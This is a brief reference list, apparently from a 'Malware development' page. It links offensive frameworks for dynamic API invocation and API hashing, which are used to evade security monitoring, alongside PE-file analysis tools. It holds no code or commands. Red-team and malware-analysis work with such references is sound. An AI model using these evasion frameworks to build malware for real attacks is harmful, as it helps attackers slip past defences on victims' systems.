Frameworks: - D/Invoke (C#): https://github.com/TheWover/DInvoke - DInvoke_rs (Rust): https://lib.rs/crates/dinvoke_rs - RustRedOps: https://github.com/joaoviictorti/RustRedOps - API Hashing (C++): https://github.com/Sh0ckFR/API-Hashing

Analysis Tools: - PE-Bear: https://github.com/hasherezade/pe-bear - PEStudio: https://www.winitor.com/ - PE-sieve: https://github.com/hasherezade/pe-sieve - FLOSS: https://github.com/mandiant/flare-floss - NtDoc: https://ntdoc.m417z.com/


← Malware development top ↑